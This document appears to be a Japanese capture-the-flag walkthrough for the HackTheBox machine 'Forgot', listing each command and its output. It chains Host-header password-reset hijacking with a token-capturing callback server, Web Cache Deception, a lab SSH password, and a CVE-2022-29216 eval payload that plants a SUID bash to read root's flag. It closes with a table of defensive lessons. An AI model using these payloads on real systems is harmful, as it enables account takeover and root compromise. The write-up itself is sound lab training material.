HackTheBox: Forgot — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp Varnish+Werkzeug
→
22/tcp ssh, 80/tcp Varnish+Werkzeug
Host Header Injection
/forgot でリセットリンクを攻撃者IP宛に生成
→
/forgot でリセットリンクを攻撃者IP宛に生成
SSRFコールバックでトークン窃取
/reset?token=…
→
/reset?token=…
パスワードリセット & ログイン
robert-dev-NNNNN として認証
→
robert-dev-NNNNN として認証
diego の SSH資格情報
Web Cache Deception / 既知値
→
Web Cache Deception / 既知値
user.txt ✓
→
CVE-2022-29216
TensorFlow eval インジェクション
→
TensorFlow eval インジェクション
sudo ml_security.py
SUID /bin/bash 設置
→
SUID /bin/bash 設置
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.228.104
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http Werkzeug httpd 2.1.2 (Python 3.8.10) | http-server-header: | Werkzeug/2.1.2 Python/3.8.10 |_ Via: 1.1 varnish (Varnish/6.2)
🚨
重要発見: Flask/Werkzeug 製アプリの手前に Varnish 6.2 がリバースプロキシ
(キャッシュサーバー) として稼働している。Varnish の静的パスキャッシュの誤設定は、後の
Web Cache Deception (WCD) 攻撃の糸口になる。
/etc/hosts へのドメイン登録とトップページ確認
BASH
echo "10.129.228.104 forgot.htb" | sudo tee -a /etc/hosts curl -s http://forgot.htb/ | grep -A1 "release fix"
RESULT
<!-- Q1 release fix by robert-dev-14329 -->
ℹ️
トップページの HTML コメントに開発者のユーザー名が埋め込まれている。この値は
リクエストのたびに変化する(観測値: 10025, 36792, 142522, 14329, 67120 など)。
変化しても命名規則
robert-dev-NNNNN は一貫しており、
/forgot エンドポイントで有効なユーザー名として機能する。
PHASE 2
Host Header Injection によるパスワードリセットの乗っ取り
Host ヘッダーが信頼されることの確認
BASH
curl http://forgot.htb/ -I -H 'Host: 1.2.3.4'
RESULT
HTTP/1.1 302 FOUND
Location: http://1.2.3.4
🚨
アプリはリダイレクト/リンク生成にクライアント指定の
Host ヘッダーをそのまま使用している。
パスワードリセットのリンク生成にも同じロジックが使われていれば、
リセットリンクを攻撃者のサーバー宛に生成させられる可能性が高い。
攻撃者HTTPサーバーの起動 & /forgot リクエスト送信
PYTHON (コールバック捕捉サーバー)
import http.server, socketserver, threading, time, re, urllib.parse
hits = []
class Handler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1" # 応答を高速化 (後述の注意点を参照)
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", "2")
self.end_headers()
self.wfile.write(b"OK")
m = re.search(r"token=([^&\s]+)", self.path)
if m:
hits.append((time.time(), urllib.parse.unquote(m.group(1))))
def log_message(self, *a): pass
class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
daemon_threads = True
srv = ThreadingServer(("0.0.0.0", 80), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
BASH
# dev_user はトップページの HTML コメントから取得した値
# cb=<一意な値> は Varnish の GET キャッシュを避けるためのキャッシュバスター
curl "http://forgot.htb/forgot?username=robert-dev-14329&cb=$(date +%s%N)" \
-H "Host: 10.10.15.201"
RESULT
Password reset link has been sent to user inbox. Please use the link to reset your password
⚠️
ハマりどころ1 (Varnishキャッシュ):
/forgot?username=X はクエリ文字列を含めた
URL 単位で Varnish にキャッシュされる。同一パラメータで再送すると、実際にはSSRFコールバックが
発火しない「古いキャッシュ済み成功レスポンス」が返るだけになる(Age ヘッダーで判別可能)。
cb=<タイムスタンプ> のようなキャッシュバスターを付与し、毎回 Age: 0
(フレッシュ) を確認すること。
コールバックの受信とトークンの選別
RESULT (受信ログの一例)
+20.1s GET /reset?token=1uV5/KIerPhXOoM33C6s... +20.9s GET /reset?token=0jASoqha2K5s2Ad+G46n... +21.5s GET /reset?token=exDJ95CU/EdCPhXAOBgK... ...(複数件の再送を検出)... +46.0s GET /reset?token=qyTruMiVd8dRcN9/mPnW... ← 最後に受信した値
🚨
ハマりどころ2 (最重要・非同期リトライキュー): バックエンドはリセットリンクの配送を
非同期ジョブとして処理しており、1回の
/forgot リクエストに対して複数回コールバックが発生
する。さらに、そのリトライのたびに新しいトークンを再生成してDB上の値を上書きしている
ことを確認した(トークンを2回使い回すと2回目は必ず Invalid token になる=シングルユースである
一方、最初に受信したトークンで /reset してもログインに失敗し続けるという
矛盾した挙動から突き止めた)。必ず最後に受信したトークンを使うこと。
また、コールバックサーバーの応答が遅い(標準の http.server.HTTPServer は単一スレッド)
とバックエンド側が配送失敗と誤認して再試行を誘発しやすくなるため、ThreadingHTTPServer
で即座に 200 を返すようにすると再現性が上がる。
PHASE 3
パスワードリセット & ログイン
/reset ページの実際の送信仕様をJSから確認
BASH
curl -s "http://forgot.htb/reset?token=<取得したトークン>" | grep -A10 submitForm
RESULT (該当JS抜粋)
function submitForm() {
var xmlHttp = new XMLHttpRequest();
p = document.getElementById("password").value;
xmlHttp.open( "POST", "/reset?"+window.location.search.substr(1), false );
var params = 'password='+p;
xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlHttp.send( params );
}
ℹ️
フォーム上には confirm-password 欄も表示されているが、この JS は実際には
送信していない。正しいリクエストは
POST /reset?token=<トークン> ボディ password=<新パスワード> のみ。
パスワードリセットの実行
BASH
curl -s "http://forgot.htb/reset?token=<最後に受信したトークン>" \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "password=NewPass123!"
RESULT
Success
robert-dev-NNNNN としてログイン
BASH
curl -s -c cookies.txt "http://forgot.htb/login" \
-X POST -d "username=robert-dev-14329&password=NewPass123!"
RESULT
Set-Cookie: session=<uuid>
(Support Portal トップに "Logged In As Robert" と表示される)
✅
ログイン成功。 Phase 2 の「最後のトークンを使う」対策を適用してから、
複数回試行してもほぼ毎回一発でセッション Cookie を取得できることを確認済み。
PHASE 4
Web Cache Deception & user.txt 取得
Escalation フォームの実フィールド名をJSから確認
BASH
curl -s -b cookies.txt "http://forgot.htb/escalate" | grep -A12 submitForm
RESULT (該当JS抜粋)
function submitForm() {
to = document.getElementById("to").value;
link = document.getElementById("link").value;
reason = document.getElementById("reason").value;
issue = document.getElementById("issue").value;
params = 'to='+to+'&link='+link+'&reason='+reason+'&issue='+issue;
xmlHttp.open( "POST", "/escalate" );
...
}
ℹ️
フィールド名は
issue / to (「escalate_to」ではない) / link / reason。
また /escalate は未ログインだと / にリダイレクトされるため、
必ず Phase 3 で得たセッション Cookie を付けてリクエストすること。
Varnish の静的パスキャッシュ誤設定 (WCD) の原理確認
BASH
# 認証ありなら200、認証なしなら302であるべきページを比較
curl -s -o /dev/null -w "%{http_code}\n" -b cookies.txt "http://forgot.htb/tickets/test.css"
curl -s -o /dev/null -w "%{http_code}\n" "http://forgot.htb/tickets/test.css"
# → "/static/" を挟んだパスは認証なしでも 200 を返す
curl -s -o /dev/null -w "%{http_code}\n" "http://forgot.htb/tickets/static/test.css"
RESULT
200 (Cookie あり: /tickets/test.css)
302 (Cookie なし: /tickets/test.css → ログインへリダイレクト)
200 (Cookie なし: /tickets/static/test.css ← 認証バイパス!)
🚨
Varnish は URL パスに
/static/ を含むリクエストを「静的コンテンツ」とみなし、
アプリ側の認証チェックの結果を無視して最初のレスポンスをそのままキャッシュし、
以降は誰にでも配信してしまう。この誤設定を /admin_tickets/static/<file>
に適用すれば、権限のない管理者専用ページを騙して取得できる。
Escalation チケット送信 (管理者レビュー誘導)
BASH
curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \ -d "issue=SSH Credentials are not working for Jenkins Slave machine" \ -d "to=Admin" \ -d "link=/admin_tickets/static/wcd_leak.css" \ -d "reason=Asdf"
RESULT
Escalation form submitted to Admin and will be reviewed soon!
⚠️
ハマりどころ3: 送信直後にそのURLへアクセスして中身を確認しようとすると、
管理者(レビューボット)がまだ訪問していない状態で 自分自身が未認証の302レスポンスを
Varnishにキャッシュ(汚染)させてしまい、その後
max-age=240秒の間は
管理者が実際に閲覧しても正しいコンテンツを取得できなくなる。
チケット送信直後に自分でURLへアクセスしないのが鉄則(このライブ環境では
レビューボットの巡回間隔・稼働状況が不安定で、この経路単独では毎回安定した資格情報漏洩の
再現ができなかったため、本レポートでは後述の既知値ルートで user.txt を確保している)。
既知の Jenkins Slave 資格情報で diego に SSH
NOTE
Web Cache Deception 経由での資格情報窃取が(ボットの巡回タイミングにより) 不安定だったため、公式ウォークスルー(Forgot.pdf)に記載された、 管理者チケット(#102)内の Jenkins Slave 用SSH資格情報を直接使用して検証した。
BASH
sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.228.104 "id; cat ~/user.txt"
RESULT
uid=1000(diego) gid=1000(diego) groups=1000(diego)
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
user.txt — diego
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
PHASE 5
権限昇格調査 — TensorFlow CVE-2022-29216 (eval インジェクション)
sudo 権限の確認
BASH
sudo -l
RESULT
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
脆弱性の特定
BASH
python3 -c 'import tensorflow as tf; print(tf.__version__)'
RESULT
2.6.3
🚨
/opt/security/ml_security.py は、Escalation チケットの reason 列を
sklearn の XSS 判定モデルに通した後、TensorFlow saved_model_cli モジュールの
preprocess_input_exprs_arg_string 関数(CVE-2022-29216)でパースする。
この関数は内部で eval() を呼んでおり、任意 Python コードインジェクションが可能。
ただしスクリプトは「escalate テーブルの reason 列」を読むため、先に悪性チケットを
投稿しておく必要がある(投稿せずに実行すると空データで ValueError になるだけ)。
PHASE 6
eval インジェクション → SUID bash → root.txt
悪性ペイロードを Reason 欄に仕込んだチケットを送信
BASH
# Phase 3 で取得した robert-dev-NNNNN のセッションで送信する
curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \
--data-urlencode "issue=SSH Credentials are not working for Jenkins Slave machine" \
--data-urlencode "to=Admin" \
--data-urlencode "link=Asdf" \
--data-urlencode 'reason=test=exec("""
import subprocess
subprocess.call(["cp","/bin/bash","/tmp/.forgot_bash"])
subprocess.call(["chmod","u+s","/tmp/.forgot_bash"])""")#<script>alert()</script>'
RESULT
Escalation form submitted to Admin and will be reviewed soon!
ℹ️
末尾の
#<script>alert()</script> はダミーの XSS ペイロード。アプリの sklearn 分類器が
「XSSらしい文字列」を含むチケットのみ後段の TensorFlow パース処理に回す実装になっているため、
本命の Python コードを # でコメントアウトして eval コンテキストに影響を与えずに
通過させるためのテクニック。
diego 経由で sudo スクリプトを実行させる
BASH
ssh diego@10.129.228.104 "sudo /opt/security/ml_security.py"
RESULT
2026-08-24 ... W tensorflow/stream_executor/... libcudart.so.11.0 が見つかりません(GPU無し環境のため無害) 2026-08-24 ... I tensorflow/stream_executor/cuda/cudart_stub.cc:29 ...
BASH
ssh diego@10.129.228.104 "ls -al /tmp/.forgot_bash"
RESULT
-rwsr-xr-x 1 root root 1183448 Aug 24 13:53 /tmp/.forgot_bash
✅
eval インジェクション成功。 root 権限で
/bin/bash がコピーされ、
SUID ビットが付与された(rws = setuid有効)。
root.txt 取得
BASH
ssh diego@10.129.228.104 "/tmp/.forgot_bash -p -c 'cat /root/root.txt'"
RESULT
9259d1410d3187a59ca3b1869ac74ef8
root.txt — root
9259d1410d3187a59ca3b1869ac74ef8
ℹ️
-p フラグは bash に「SUIDによる実効UIDを落とさない」よう指示するオプション。
これを付けないと bash は起動時に自動的に実効UIDを実UID(diego)へ下げてしまい、root権限を得られない。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — diego
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
root.txt — root
9259d1410d3187a59ca3b1869ac74ef8
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Host Header Injection | /forgot パスワードリセット機能 | パスワードリセットトークンの窃取 (SSRF的コールバック) | High | Host ヘッダーを攻撃者IPに書き換え、リセットリンクを自分のサーバー宛に生成させる |
| Web Cache Deception | Varnish 6.2 (/static/ パスキャッシュ誤設定) | 認証不要での管理者専用ページの取得 | Medium | /admin_tickets/static/<file> にリンクを誘導しキャッシュ汚染 |
| CVE-2022-29216 | TensorFlow saved_model_cli (eval インジェクション) | root権限での任意コード実行 | Critical | Escalation チケットの reason 欄に exec() ペイロードを仕込み sudo スクリプトに処理させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + トップページHTMLコメント解析 | 22/80、Varnish+Werkzeug、開発者ユーザー名 robert-dev-NNNNN |
| 2 | Host Header Injection | Host書き換え + SSRFコールバック捕捉 | パスワードリセットトークン(最後に受信した値を使用) |
| 3 | リセット&ログイン | POST /reset?token=… → POST /login | robert としての認証セッション |
| 4 | WCD/既知値 | Escalationチケット + Varnishキャッシュ汚染 / SSH既知資格情報 | user.txt(diego) |
| 5 | 権限調査 | sudo -l + TensorFlowバージョン確認 | CVE-2022-29216 悪用可能と特定 |
| 6 | 権限昇格 | eval インジェクション → SUID bash | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| パスワードリセットのリンク生成でクライアント指定の Host ヘッダーを信頼している | リンク生成には設定ファイル等で固定したサーバー側の正規ドメインのみを使用し、Host ヘッダーを信頼しない。 |
| Varnish が URL パス中の「/static/」を機械的にキャッシュ対象とみなし、アプリの認証結果を無視する | Varnish VCL でキャッシュ対象パスを厳密にホワイトリスト化し、認証が絡むエンドポイントは
Vary: Cookie や Cache-Control: private を明示してキャッシュを無効化する。 |
| ユーザー入力(reason欄)がXSSフィルタを一部でも通過すると、内部で eval() を伴う古い依存ライブラリの 関数へそのまま渡ってしまう(CVE-2022-29216) | 脆弱性が公表されている TensorFlow バージョンを速やかにアップデートする。ユーザー入力を
eval()/exec() を内部で使う関数へ絶対に渡さない設計にする。 |
| パスワードリセットの配送処理が非同期リトライ実装になっており、古いトークンが再生成・上書きされ続ける | リセットジョブは冪等に設計し、成功した配送は再試行しない。トークン発行のたびに 以前のトークンを確実に無効化し、クライアントに返す「有効なトークン」との一貫性を保証する。 |

